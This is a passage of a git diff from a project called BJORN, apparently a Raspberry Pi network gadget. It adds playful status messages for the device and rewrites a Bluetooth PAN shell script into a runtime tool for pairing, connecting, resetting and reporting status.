mad at you!", + ]) + + def on_excited(self): + return random.choice([ + "I'm living the life!", + "I pwn therefore I am.", + "So many networks!!!", + "I'm having so much fun!", + "My crime is that of curiosity ...", + ]) + + def on_new_peer(self, peer_name, first_encounter=False): + if first_encounter: + return f"Hello {peer_name}! Nice to meet you." + return random.choice([ + f"Yo {peer_name}! Sup?", + f"Hey {peer_name} how are you doing?", + f"Unit {peer_name} is nearby!", + ]) + + def on_lost_peer(self, peer_name): + return random.choice([ + f"Uhm ... goodbye {peer_name}", + f"{peer_name} is gone ...", + ]) + + def on_miss(self, who): + return random.choice([ + f"Whoops ... {who} is gone.", + f"{who} missed!", + "Missed!", + ]) + + def on_grateful(self): + return random.choice([ + "Good friends are a blessing!", + "I love my friends!", + ]) + + def on_lonely(self): + return random.choice([ + "Nobody wants to play with me ...", + "I feel so alone ...", + "Where's everybody?!", + ]) + + def on_napping(self, secs): + return random.choice([ + f"Napping for {secs}s ...", + "Zzzzz", + f"ZzzZzzz ({secs}s)", + ]) + + def on_shutdown(self): + return random.choice(["Good night.", "Zzz"]) + + def on_awakening(self): + return random.choice(["...", "!"]) + + def on_waiting(self, secs): + return random.choice([ + f"Waiting for {secs}s ...", + "...", + f"Looking around ({secs}s)", + ]) + + def on_assoc(self, ap_name): + return random.choice([ + f"Hey {ap_name} let's be friends!", + f"Associating to {ap_name}", + f"Yo {ap_name}!", + ]) + + def on_deauth(self, sta_mac): + return random.choice([ + f"Just decided that {sta_mac} needs no WiFi!", + f"Deauthenticating {sta_mac}", + f"Kickbanning {sta_mac}!", + ]) + + def on_handshakes(self, new_shakes): + s = 's' if new_shakes > 1 else '' + return f"Cool, we got {new_shakes} new handshake{s}!" + + def on_rebooting(self): + return "Oops, something went wrong ... Rebooting ..." + + def on_epoch(self, epoch_num): + return random.choice([ + f"Epoch {epoch_num} complete.", + f"Finished epoch {epoch_num}.", + ]) diff --git a/bjorn_bluetooth.sh b/bjorn_bluetooth.sh index 6baf754..bf3348e 100644 --- a/bjorn_bluetooth.sh +++ b/bjorn_bluetooth.sh @@ -1,517 +1,821 @@ #!/bin/bash -# bjorn_bluetooth_manager.sh -# Script to configure Bluetooth PAN for BJORN -# Usage: ./bjorn_bluetooth_manager.sh -f -# ./bjorn_bluetooth_manager.sh -u -# ./bjorn_bluetooth_manager.sh -l -# ./bjorn_bluetooth_manager.sh -h -# Author: Infinition -# Version: 1.1 -# Description: This script configures and manages Bluetooth PAN for BJORN +# bjorn_bluetooth.sh +# Runtime manager for the BJORN Bluetooth PAN stack +# Usage: +# ./bjorn_bluetooth.sh -u Bring Bluetooth PAN services up +# ./bjorn_bluetooth.sh -d Bring Bluetooth PAN services down +# ./bjorn_bluetooth.sh -r Reset Bluetooth PAN services +# ./bjorn_bluetooth.sh -l Show detailed Bluetooth status +# ./bjorn_bluetooth.sh -s Scan nearby Bluetooth devices +# ./bjorn_bluetooth.sh -p Launch pairing assistant +# ./bjorn_bluetooth.sh -c Connect now to configured target +# ./bjorn_bluetooth.sh -t Trust a known device +# ./bjorn_bluetooth.sh -x Disconnect current PAN session +# ./bjorn_bluetooth.sh -f Forget/remove a known device +# ./bjorn_bluetooth.sh -h Show help +# +# Notes: +# This script no longer installs or removes Bluetooth PAN. +# Installation is handled by the BJORN installer. +# This tool is for runtime diagnostics, pairing, trust, connect, and recovery. + +set -u -# ============================================================ -# Colors for Output -# ============================================================ RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' CYAN='\033[0;36m' -NC='\033[0m' # No Color +NC='\033[0m' -# ============================================================ -# Logging Configuration -# ============================================================ +SCRIPT_VERSION="2.0" +BJORN_USER="bjorn" +BT_SETTINGS_DIR="/home/${BJORN_USER}/.settings_bjorn" +BT_CONFIG="${BT_SETTINGS_DIR}/bt.json" +AUTO_BT_SCRIPT="/usr/local/bin/auto_bt_connect.py" +AUTO_BT_SERVICE="auto_bt_connect.service" +BLUETOOTH_SERVICE="bluetooth.service" LOG_DIR="/var/log/bjorn_install" -LOG_FILE="$LOG_DIR/bjorn_bluetooth_manager_$(date +%Y%m%d_%H%M%S).log" +LOG_FILE="$LOG_DIR/bjorn_bluetooth_$(date +%Y%m%d_%H%M%S).log" -# Ensure log directory exists -mkdir -p "$LOG_DIR" +mkdir -p "$LOG_DIR" 2>/dev/null || true +touch "$LOG_FILE" 2>/dev/null || true -# ============================================================ -# Logging Function -# ============================================================ log() { - local level=$1 + local level="$1" shift local message="[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $*" - echo -e "$message" | tee -a "$LOG_FILE" - case $level in - "ERROR") echo -e "${RED}$message${NC}" ;; - "SUCCESS") echo -e "${GREEN}$message${NC}" ;; - "WARNING") echo -e "${YELLOW}$message${NC}" ;; - "INFO") echo -e "${BLUE}$message${NC}" ;; - "CYAN") echo -e "${CYAN}$message${NC}" ;; - *) echo -e "$message" ;; + local color="$NC" + + case "$level" in + ERROR) color="$RED" ;; + SUCCESS) color="$GREEN" ;; + WARNING) color="$YELLOW" ;; + INFO) color="$BLUE" ;; + SECTION) color="$CYAN" ;; + esac + + printf '%s\n' "$message" >> "$LOG_FILE" 2>/dev/null || true + printf '%b%s%b\n' "$color" "$message" "$NC" +} + +print_divider() { + printf '%b%s%b\n' "$CYAN" "============================================================" "$NC" +} + +ensure_root() { + if [ "$(id -u)" -ne 0 ]; then + log "ERROR" "This command must be run as root. Please use sudo." + exit 1 + fi +} + +service_exists() { + systemctl list-unit-files --type=service 2>/dev/null | grep -q "^$1" +} + +service_active() { + systemctl is-active --quiet "$1" +} + +service_enabled() { + systemctl is-enabled --quiet "$1" +} + +bnep0_exists() { + ip link show bnep0 >/dev/null 2>&1 +} + +wait_for_condition() { + local description="$1" + local attempts="$2" + shift 2 + + local i=1 + while [ "$i" -le "$attempts" ]; do + if "$@"; then + log "SUCCESS" "$description" + return 0 + fi + log "INFO" "Waiting for $description ($i/$attempts)..." + sleep 1 + i=$((i + 1)) + done + + log "WARNING" "$description not reached after ${attempts}s" + return 1 +} + +show_recent_logs() { + if command -v journalctl >/dev/null 2>&1; then + if service_exists "$AUTO_BT_SERVICE"; then + log "INFO" "Recent ${AUTO_BT_SERVICE} logs:" + journalctl -u "$AUTO_BT_SERVICE" -n 20 --no-pager 2>/dev/null || true + fi + if service_exists "$BLUETOOTH_SERVICE"; then + log "INFO" "Recent ${BLUETOOTH_SERVICE} logs:" + journalctl -u "$BLUETOOTH_SERVICE" -n 10 --no-pager 2>/dev/null || true + fi + fi +} + +run_btctl() { + local output + output="$(printf '%s\n' "$@" "quit" | bluetoothctl 2>&1)" + printf '%s\n' "$output" >> "$LOG_FILE" 2>/dev/null || true + printf '%s\n' "$output" +} + +bluetooth_power_on() { + ensure_root + if ! service_active "$BLUETOOTH_SERVICE"; then + log "INFO" "Starting ${BLUETOOTH_SERVICE}..." + systemctl start "$BLUETOOTH_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to start ${BLUETOOTH_SERVICE}" + return 1 + } + fi + + run_btctl "power on" >/dev/null + run_btctl "agent on" >/dev/null + run_btctl "default-agent" >/dev/null + return 0 +} + +ensure_bt_settings_dir() { + mkdir -p "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || return 1 + chown "$BJORN_USER:$BJORN_USER" "$BT_SETTINGS_DIR" >> "$LOG_FILE" 2>&1 || true +} + +get_configured_mac() { + if [ ! -f "$BT_CONFIG" ]; then + return 1 + fi + + sed -n 's/.*"device_mac"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' "$BT_CONFIG" | head -n1 +} + +write_configured_mac() { + local mac="$1" + + ensure_bt_settings_dir || { + log "ERROR" "Failed to create ${BT_SETTINGS_DIR}" + return 1 + } + + cat > "$BT_CONFIG" <> "$LOG_FILE" 2>&1 || true + chmod 644 "$BT_CONFIG" >> "$LOG_FILE" 2>&1 || true + log "SUCCESS" "Updated auto-connect target in ${BT_CONFIG}: ${mac:-}" + return 0 +} + +device_info() { + local mac="$1" + bluetoothctl info "$mac" 2>/dev/null +} + +device_flag() { + local mac="$1" + local key="$2" + device_info "$mac" | sed -n "s/^[[:space:]]*${key}:[[:space:]]*//p" | head -n1 +} + +device_name() { + local mac="$1" + local name + name="$(device_info "$mac" | sed -n 's/^[[:space:]]*Name:[[:space:]]*//p' | head -n1)" + if [ -z "$name" ]; then + name="$(bluetoothctl devices 2>/dev/null | sed -n "s/^Device ${mac} //p" | head -n1)" + fi + printf '%s\n' "${name:-Unknown device}" +} + +load_devices() { + local mode="${1:-all}" + local source_cmd="devices" + local line mac name + + DEVICE_MACS=() + DEVICE_NAMES=() + + if [ "$mode" = "paired" ]; then + source_cmd="paired-devices" + fi + + while IFS= read -r line; do + mac="$(printf '%s\n' "$line" | sed -n 's/^Device \([0-9A-F:]\{17\}\) .*/\1/p')" + name="$(printf '%s\n' "$line" | sed -n 's/^Device [0-9A-F:]\{17\} \(.*\)$/\1/p')" + if [ -n "$mac" ]; then + DEVICE_MACS+=("$mac") + DEVICE_NAMES+=("${name:-Unknown device}") + fi + done < <(bluetoothctl "$source_cmd" 2>/dev/null) +} + +print_device_list() { + local configured_mac="${1:-}" + local i status paired trusted connected + + if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then + log "WARNING" "No devices found" + return 1 + fi + + for ((i=0; i<${#DEVICE_MACS[@]}; i++)); do + paired="$(device_flag "${DEVICE_MACS[$i]}" "Paired")" + trusted="$(device_flag "${DEVICE_MACS[$i]}" "Trusted")" + connected="$(device_flag "${DEVICE_MACS[$i]}" "Connected")" + status="" + [ "$paired" = "yes" ] && status="${status} paired" + [ "$trusted" = "yes" ] && status="${status} trusted" + [ "$connected" = "yes" ] && status="${status} connected" + [ "${DEVICE_MACS[$i]}" = "$configured_mac" ] && status="${status} configured" + printf '%b[%d]%b %s %s%b%s%b\n' "$BLUE" "$((i + 1))" "$NC" "${DEVICE_MACS[$i]}" "${DEVICE_NAMES[$i]}" "$YELLOW" "${status:- new}" "$NC" + done + return 0 +} + +select_device() { + local mode="${1:-all}" + local configured_mac choice index + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + load_devices "$mode" + + if [ "${#DEVICE_MACS[@]}" -eq 0 ]; then + if [ "$mode" = "all" ]; then + log "WARNING" "No known devices yet. Run a scan first." + else + log "WARNING" "No paired devices found." + fi + return 1 + fi + + print_divider + log "SECTION" "Select a Bluetooth device" + print_device_list "$configured_mac" || return 1 + echo -n -e "${GREEN}Choose a device number (or 0 to cancel): ${NC}" + read -r choice + + if [ -z "$choice" ] || [ "$choice" = "0" ]; then + log "INFO" "Selection cancelled" + return 1 + fi + + if ! [[ "$choice" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection" + return 1 + fi + + index=$((choice - 1)) + if [ "$index" -lt 0 ] || [ "$index" -ge "${#DEVICE_MACS[@]}" ]; then + log "ERROR" "Selection out of range" + return 1 + fi + + SELECTED_DEVICE_MAC="${DEVICE_MACS[$index]}" + SELECTED_DEVICE_NAME="${DEVICE_NAMES[$index]}" + log "INFO" "Selected ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC})" + return 0 +} + +scan_bluetooth_devices() { + ensure_root + local duration="${1:-12}" + + print_divider + log "SECTION" "Scanning nearby Bluetooth devices" + print_divider + + bluetooth_power_on || return 1 + log "INFO" "Scanning for ${duration} seconds..." + timeout "${duration}s" bluetoothctl scan on >> "$LOG_FILE" 2>&1 || true + run_btctl "scan off" >/dev/null + log "SUCCESS" "Scan complete" + load_devices all + print_device_list "$(get_configured_mac 2>/dev/null || true)" || true +} + +pair_device() { + local mac="$1" + local output + + bluetooth_power_on || return 1 + log "INFO" "Pairing with ${mac}..." + output="$(run_btctl "pair ${mac}")" + if printf '%s\n' "$output" | grep -qi "Pairing successful"; then + log "SUCCESS" "Pairing successful for ${mac}" + return 0 + fi + + if [ "$(device_flag "$mac" "Paired")" = "yes" ]; then + log "INFO" "Device ${mac} is already paired" + return 0 + fi + + log "ERROR" "Pairing failed for ${mac}" + printf '%s\n' "$output" + return 1 +} + +trust_device() { + local mac="$1" + local output + + bluetooth_power_on || return 1 + log "INFO" "Trusting ${mac}..." + output="$(run_btctl "trust ${mac}")" + if printf '%s\n' "$output" | grep -qi "trust succeeded"; then + log "SUCCESS" "Trust succeeded for ${mac}" + return 0 + fi + + if [ "$(device_flag "$mac" "Trusted")" = "yes" ]; then + log "INFO" "Device ${mac} is already trusted" + return 0 + fi + + log "ERROR" "Trust failed for ${mac}" + printf '%s\n' "$output" + return 1 +} + +disconnect_pan_session() { + ensure_root + local configured_mac="${1:-}" + + print_divider + log "SECTION" "Disconnecting Bluetooth PAN" + print_divider + + if service_exists "$AUTO_BT_SERVICE" && service_active "$AUTO_BT_SERVICE"; then + log "INFO" "Stopping ${AUTO_BT_SERVICE} to prevent immediate reconnect" + systemctl stop "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || log "WARNING" "Failed to stop ${AUTO_BT_SERVICE}" + fi + + if bnep0_exists; then + log "INFO" "Releasing DHCP lease on bnep0" + dhclient -r bnep0 >> "$LOG_FILE" 2>&1 || true + ip link set bnep0 down >> "$LOG_FILE" 2>&1 || true + else + log "INFO" "bnep0 is not present" + fi + + pkill -f "bt-network -c" >> "$LOG_FILE" 2>&1 || true + pkill -f "bt-network" >> "$LOG_FILE" 2>&1 || true + + if [ -n "$configured_mac" ]; then + log "INFO" "Requesting Bluetooth disconnect for ${configured_mac}" + run_btctl "disconnect ${configured_mac}" >/dev/null || true + fi + + bnep0_exists && log "WARNING" "bnep0 still exists after disconnect" || log "SUCCESS" "Bluetooth PAN session is down" +} + +connect_to_target_now() { + ensure_root + local mac="$1" + local previous_mac + + if [ -z "$mac" ]; then + log "ERROR" "No target MAC specified" + return 1 + fi + + print_divider + log "SECTION" "Connecting Bluetooth PAN now" + print_divider + + bluetooth_power_on || return 1 + + if [ "$(device_flag "$mac" "Paired")" != "yes" ]; then + log "WARNING" "Target ${mac} is not paired yet" + fi + if [ "$(device_flag "$mac" "Trusted")" != "yes" ]; then + log "WARNING" "Target ${mac} is not trusted yet" + fi + + previous_mac="$(get_configured_mac 2>/dev/null || true)" + write_configured_mac "$mac" || return 1 + disconnect_pan_session "$previous_mac" || true + + if service_exists "$AUTO_BT_SERVICE"; then + log "INFO" "Restarting ${AUTO_BT_SERVICE}" + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true + systemctl restart "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to restart ${AUTO_BT_SERVICE}" + show_recent_logs + return 1 + } + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + return 1 + fi + + wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true + wait_for_condition "bnep0 to appear" 15 bnep0_exists || true + + if bnep0_exists; then + log "SUCCESS" "Bluetooth PAN link is up on bnep0" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "bnep0 is still missing. Pairing/trust may be OK but PAN did not come up yet." + show_recent_logs + fi +} + +set_auto_connect_target() { + ensure_root + + if ! select_device all; then + return 1 + fi + + write_configured_mac "$SELECTED_DEVICE_MAC" +} + +pairing_assistant() { + ensure_root + + print_divider + log "SECTION" "Bluetooth pairing assistant" + print_divider + + scan_bluetooth_devices 12 || true + if ! select_device all; then + return 1 + fi + + pair_device "$SELECTED_DEVICE_MAC" || return 1 + trust_device "$SELECTED_DEVICE_MAC" || return 1 + write_configured_mac "$SELECTED_DEVICE_MAC" || return 1 + + echo -n -e "${GREEN}Connect to this device now for PAN? [Y/n]: ${NC}" + read -r answer + case "${answer:-Y}" in + n|N) + log "INFO" "Pairing assistant completed without immediate PAN connect" + ;; + *) + connect_to_target_now "$SELECTED_DEVICE_MAC" + ;; esac } -# ============================================================ -# Error Handling -# ============================================================ -handle_error() { - local error_message=$1 - log "ERROR" "$error_message" - exit 1 +forget_device() { + ensure_root + local configured_mac output + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + if ! select_device all; then + return 1 + fi + + if [ "$SELECTED_DEVICE_MAC" = "$configured_mac" ]; then + log "WARNING" "This device is currently configured as the auto-connect target" + disconnect_pan_session "$SELECTED_DEVICE_MAC" || true + write_configured_mac "" + fi + + log "INFO" "Removing ${SELECTED_DEVICE_NAME} (${SELECTED_DEVICE_MAC}) from BlueZ" + output="$(run_btctl "remove ${SELECTED_DEVICE_MAC}")" + if printf '%s\n' "$output" | grep -qi "Device has been removed"; then + log "SUCCESS" "Device removed" + return 0 + fi + + if ! bluetoothctl devices 2>/dev/null | grep -q "$SELECTED_DEVICE_MAC"; then + log "SUCCESS" "Device no longer appears in known devices" + return 0 + fi + + log "ERROR" "Failed to remove device" + printf '%s\n' "$output" + return 1 } -# ============================================================ -# Function to Check Command Success -# ============================================================ -check_success() { - if [ $? -eq 0 ]; then - log "SUCCESS" "$1" - return 0 +trust_selected_device() { + ensure_root + if ! select_device all; then + return 1 + fi + trust_device "$SELECTED_DEVICE_MAC" +} + +list_bluetooth_status() { + local configured_mac controller_info paired trusted connected + + print_divider + log "SECTION" "BJORN Bluetooth PAN Status" + print_divider + + controller_info="$(run_btctl "show")" + configured_mac="$(get_configured_mac 2>/dev/null || true)" + + if service_exists "$BLUETOOTH_SERVICE"; then + service_active "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is active" || log "WARNING" "${BLUETOOTH_SERVICE} is not active" + service_enabled "$BLUETOOTH_SERVICE" && log "SUCCESS" "${BLUETOOTH_SERVICE} is enabled at boot" || log "WARNING" "${BLUETOOTH_SERVICE} is not enabled at boot" else - handle_error "$1" - return $? + log "ERROR" "${BLUETOOTH_SERVICE} is not installed" + fi + + if service_exists "$AUTO_BT_SERVICE"; then + service_active "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is active" || log "WARNING" "${AUTO_BT_SERVICE} is not active" + service_enabled "$AUTO_BT_SERVICE" && log "SUCCESS" "${AUTO_BT_SERVICE} is enabled at boot" || log "WARNING" "${AUTO_BT_SERVICE} is not enabled at boot" + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + fi + + [ -f "$AUTO_BT_SCRIPT" ] && log "SUCCESS" "${AUTO_BT_SCRIPT} exists" || log "ERROR" "${AUTO_BT_SCRIPT} is missing" + [ -f "$BT_CONFIG" ] && log "SUCCESS" "${BT_CONFIG} exists" || log "WARNING" "${BT_CONFIG} is missing" + + if printf '%s\n' "$controller_info" | grep -q "Powered: yes"; then + log "SUCCESS" "Bluetooth controller is powered on" + else + log "WARNING" "Bluetooth controller is not powered on" + fi + + if [ -n "$configured_mac" ]; then + log "INFO" "Configured auto-connect target: ${configured_mac} ($(device_name "$configured_mac"))" + paired="$(device_flag "$configured_mac" "Paired")" + trusted="$(device_flag "$configured_mac" "Trusted")" + connected="$(device_flag "$configured_mac" "Connected")" + log "INFO" "Configured target state: paired=${paired:-unknown}, trusted=${trusted:-unknown}, connected=${connected:-unknown}" + else + log "WARNING" "No auto-connect target configured in ${BT_CONFIG}" + fi + + if bnep0_exists; then + log "SUCCESS" "bnep0 interface exists" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "bnep0 interface is not present" + fi + + print_divider + log "SECTION" "Known Devices" + load_devices all + print_device_list "$configured_mac" || true + + print_divider + log "SECTION" "Quick Recovery Hints" + log "INFO" "Use -p for the pairing assistant" + log "INFO" "Use -c to connect now to the configured target" + log "INFO" "Use -r to reset Bluetooth PAN if bnep0 is stuck" + log "INFO" "Follow logs with: sudo journalctl -u ${AUTO_BT_SERVICE} -f" +} + +bring_bluetooth_pan_up() { + ensure_root + local configured_mac + + print_divider + log "SECTION" "Bringing Bluetooth PAN up" + print_divider + + bluetooth_power_on || return 1 + configured_mac="$(get_configured_mac 2>/dev/null || true)" + + if [ -z "$configured_mac" ]; then + log "WARNING" "No configured target in ${BT_CONFIG}" + log "INFO" "Use the pairing assistant (-p) or set a target from the menu" + fi + + if service_exists "$AUTO_BT_SERVICE"; then + systemctl daemon-reload >> "$LOG_FILE" 2>&1 || true + systemctl start "$AUTO_BT_SERVICE" >> "$LOG_FILE" 2>&1 || { + log "ERROR" "Failed to start ${AUTO_BT_SERVICE}" + show_recent_logs + return 1 + } + log "SUCCESS" "Start command sent to ${AUTO_BT_SERVICE}" + else + log "ERROR" "${AUTO_BT_SERVICE} is not installed" + return 1 + fi + + wait_for_condition "${AUTO_BT_SERVICE} to become active" 10 service_active "$AUTO_BT_SERVICE" || true + if [ -n "$configured_mac" ]; then + wait_for_condition "bnep0 to appear" 15 bnep0_exists || true + fi + + if bnep0_exists; then + log "SUCCESS" "Bluetooth PAN is up on bnep0" + ip -brief addr show bnep0 2>/dev/null || true + else + log "WARNING" "Bluetooth PAN is not up yet" fi } -# ============================================================ -# Function to Show Usage -# ============================================================ +bring_bluetooth_pan_down() { + ensure_root + local configured_mac + + print_divider + log "SECTION" "Bringing Bluetooth PAN down" + print_divider + + configured_mac="$(get_configured_mac 2>/dev/null || true)" + disconnect_pan_session "$configured_mac" +} + +reset_bluetooth_pan() { + ensure_root + + print_divider + log "SECTION" "Resetting Bluetooth PAN" + print_divider + + bring_bluetooth_pan_down || log "WARNING" "Down phase reported an issue, continuing" + log "INFO" "Waiting 2 seconds before restart" + sleep 2 + bring_bluetooth_pan_up +} + show_usage() { echo -e "${GREEN}Usage: $0 [OPTIONS]${NC}" echo -e "Options:" - echo -e " ${BLUE}-f${NC} Install Bluetooth PAN" - echo -e " ${BLUE}-u${NC} Uninstall Bluetooth PAN" - echo -e " ${BLUE}-l${NC} List Bluetooth PAN Information" + echo -e " ${BLUE}-u${NC} Bring Bluetooth PAN services up" + echo -e " ${BLUE}-d${NC} Bring Bluetooth PAN services down" + echo -e " ${BLUE}-r${NC} Reset Bluetooth PAN services" + echo -e " ${BLUE}-l${NC} Show detailed Bluetooth status" + echo -e " ${BLUE}-s${NC} Scan nearby Bluetooth devices" + echo -e " ${BLUE}-p${NC} Launch pairing assistant" + echo -e " ${BLUE}-c${NC} Connect now to configured target" + echo -e " ${BLUE}-t${NC} Trust a known device" + echo -e " ${BLUE}-x${NC} Disconnect current PAN session" + echo -e " ${BLUE}-f${NC} Forget/remove a known device" echo -e " ${BLUE}-h${NC} Show this help message" echo -e "" - echo -e "Example:" - echo -e " $0 -f Install Bluetooth PAN" - echo -e " $0 -u Uninstall Bluetooth PAN" - echo -e " $0 -l List Bluetooth PAN Information" - echo -e " $0 -h Show help" + echo -e "Examples:" + echo -e " $0 -p Scan, pair, trust, set target, and optionally connect now" + echo -e " $0 -u Start Bluetooth and the auto PAN reconnect service" + echo -e " $0 -r Reset a stuck bnep0/PAN session" + echo -e " $0 -f Forget a previously paired device" echo -e "" - echo -e "${YELLOW}===== Bluetooth PAN Configuration Procedure =====${NC}" - echo -e "To configure the Bluetooth PAN driver and set the IP address, subnet mask, and gateway for the PAN network interface card, follow the steps below:" - echo -e "" - echo -e "1. **Configure IP Address on the Server (Pi):**" - echo -e " - The default IP address is set in the script as follows:" - echo -e " - IP: 172.20.2.1" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e "" - echo -e "2. **Configure IP Address on the Host Computer:**" - echo -e " - On your host computer (Windows, Linux, etc.), configure the RNDIS network interface to use an IP address in the same subnet. For example:" - echo -e " - IP: 172.20.2.2" - echo -e " - Subnet Mask: 255.255.255.0" - echo -e " - Gateway: 172.20.2.1" - echo -e " - DNS Servers: 8.8.8.8, 8.8.4.4" - echo -e "" - echo -e "3. **Restart the Service:**" - echo -e " - After installing the Bluetooth PAN, restart the service to apply the changes:" - echo -e " ```bash" - echo -e " sudo systemctl restart auto_bt_connect.service" - echo -e " ```" - echo -e "" - echo -e "4. **Verify the Connection:**" - echo -e " - Ensure that the PAN network interface is active on both devices." - echo -e " - Test connectivity by pinging the IP address of the other device." - echo -e " - From the Pi: \`ping 172.20.2.2\`" - echo -e " - From the host computer: \`ping 172.20.2.1\`" - echo -e "" - echo -e "===== End of Procedure =====${NC}" - exit 1 + echo -e "${YELLOW}This script no longer installs or removes Bluetooth PAN.${NC}" + echo -e "${YELLOW}That part is handled by the BJORN installer.${NC}" + if [ "${1:-exit}" = "return" ]; then + return 0 + fi + exit 0 } -# ============================================================ -# Function to Install Bluetooth PAN -# ============================================================ -install_bluetooth_pan() { - log "INFO" "Starting Bluetooth PAN installation..." - - # Ensure the script is run as root - if [ "$(id -u)" -ne 0 ]; then - log "ERROR" "This script must be run as root. Please use 'sudo'." - exit 1 - fi - - # Create settings directory - SETTINGS_DIR="/home/bjorn/.settings_bjorn" - if [ ! -d "$SETTINGS_DIR" ]; then - mkdir -p "$SETTINGS_DIR" - check_success "Created settings directory at $SETTINGS_DIR" - else - log "INFO" "Settings directory $SETTINGS_DIR already exists. Skipping creation." - fi - - # Create bt.json if it doesn't exist - BT_CONFIG="$SETTINGS_DIR/bt.json" - if [ ! -f "$BT_CONFIG" ]; then - log "INFO" "Creating Bluetooth configuration file at $BT_CONFIG" - cat << 'EOF' > "$BT_CONFIG" -{ - "device_mac": "AA:BB:CC:DD:EE:FF" # Replace with your device's MAC address -} -EOF - check_success "Created Bluetooth configuration file at $BT_CONFIG" - log "WARNING" "Please edit $BT_CONFIG to include your Bluetooth device's MAC address." - else - log "INFO" "Bluetooth configuration file $BT_CONFIG already exists. Skipping creation." - fi - - # Create auto_bt_connect.py - BT_PY_SCRIPT="/usr/local/bin/auto_bt_connect.py" - if [ ! -f "$BT_PY_SCRIPT" ]; then - log "INFO" "Creating Bluetooth auto-connect Python script at $BT_PY_SCRIPT" - cat << 'EOF' > "$BT_PY_SCRIPT" -#!/usr/bin/env python3 -import json -import subprocess -import time -import logging -import os - -LOG_FORMAT = "%(asctime)s - %(name)s - %(levelname)s - %(message)s" -logging.basicConfig(filename="/var/log/auto_bt_connect.log", level=logging.INFO, format=LOG_FORMAT) -logger = logging.getLogger("auto_bt_connect") - -CONFIG_PATH = "/home/bjorn/.settings_bjorn/bt.json" -CHECK_INTERVAL = 30 # Interval in seconds between each check - -def ensure_bluetooth_service(): - try: - res = subprocess.run(["systemctl", "is-active", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if "active" not in res.stdout: - logger.info("Bluetooth service not active. Starting and enabling it...") - start_res = subprocess.run(["systemctl", "start", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if start_res.returncode != 0: - logger.error(f"Failed to start bluetooth service: {start_res.stderr}") - return False - - enable_res = subprocess.run(["systemctl", "enable", "bluetooth"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if enable_res.returncode != 0: - logger.error(f"Failed to enable bluetooth service: {enable_res.stderr}") - # Not fatal, but log it. - else: - logger.info("Bluetooth service enabled successfully.") - else: - logger.info("Bluetooth service is already active.") - return True - except Exception as e: - logger.error(f"Error ensuring bluetooth service: {e}") - return False - -def is_already_connected(): - # Check if bnep0 interface is up with an IP - ip_res = subprocess.run(["ip", "addr", "show", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if ip_res.returncode == 0 and "inet " in ip_res.stdout: - # bnep0 interface exists and has an IPv4 address - logger.info("bnep0 is already up and has an IP. No action needed.") - return True - return False - -def run_in_background(cmd): - # Run a command in background, return the process - process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - return process - -def establish_connection(device_mac): - # Attempt to run bt-network - logger.info(f"Attempting to connect PAN with device {device_mac}...") - bt_process = run_in_background(["bt-network", "-c", device_mac, "nap"]) - # Wait a bit for PAN to set up - time.sleep(3) - - # Check if bt-network exited prematurely - if bt_process.poll() is not None: - # Process ended - if bt_process.returncode != 0: - stderr_output = bt_process.stderr.read() if bt_process.stderr else "" - logger.error(f"bt-network failed: {stderr_output}") - return False - else: - logger.warning("bt-network ended immediately. PAN may not be established.") - return False - else: - logger.info("bt-network running in background...") - - # Now run dhclient for IPv4 - dh_res = subprocess.run(["dhclient", "-4", "bnep0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if dh_res.returncode != 0: - logger.error(f"dhclient failed: {dh_res.stderr}") - return False - - logger.info("Successfully obtained IP on bnep0. PAN connection established.") - return True - -def load_config(): - if not os.path.exists(CONFIG_PATH): - logger.error(f"Config file {CONFIG_PATH} not found.") - return None - - try: - with open(CONFIG_PATH, "r") as f: - config = json.load(f) - device_mac = config.get("device_mac") - if not device_mac: - logger.error("No device_mac found in config.") - return None - return device_mac - except Exception as e: - logger.error(f"Error loading config: {e}") - return None - -def main(): - device_mac = load_config() - if not device_mac: - return - - while True: - try: - if not ensure_bluetooth_service(): - logger.error("Bluetooth service setup failed.") - elif is_already_connected(): - # Already connected and has IP, do nothing - pass - else: - # Attempt to establish connection - success = establish_connection(device_mac) - if not success: - logger.warning("Failed to establish PAN connection.") - - except Exception as e: - logger.error(f"Unexpected error in main loop: {e}") - - # Wait before the next check - time.sleep(CHECK_INTERVAL) - -if __name__ == "__main__": - main() -EOF - check_success "Created Bluetooth auto-connect Python script at $BT_PY_SCRIPT" - else - log "INFO" "Bluetooth auto-connect Python script $BT_PY_SCRIPT already exists. Skipping creation." - fi - - # Make the Python script executable - chmod +x "$BT_PY_SCRIPT" - check_success "Made Python script executable at $BT_PY_SCRIPT" - - # Create the systemd service - BT_SERVICE="/etc/systemd/system/auto_bt_connect.service" - if [ ! -f "$BT_SERVICE" ]; then - log "INFO" "Creating systemd service at $BT_SERVICE" - cat << 'EOF' > "$BT_SERVICE" -[Unit] -Description=Auto Bluetooth PAN Connect -After=network.target bluetooth.service -Wants=bluetooth.service - 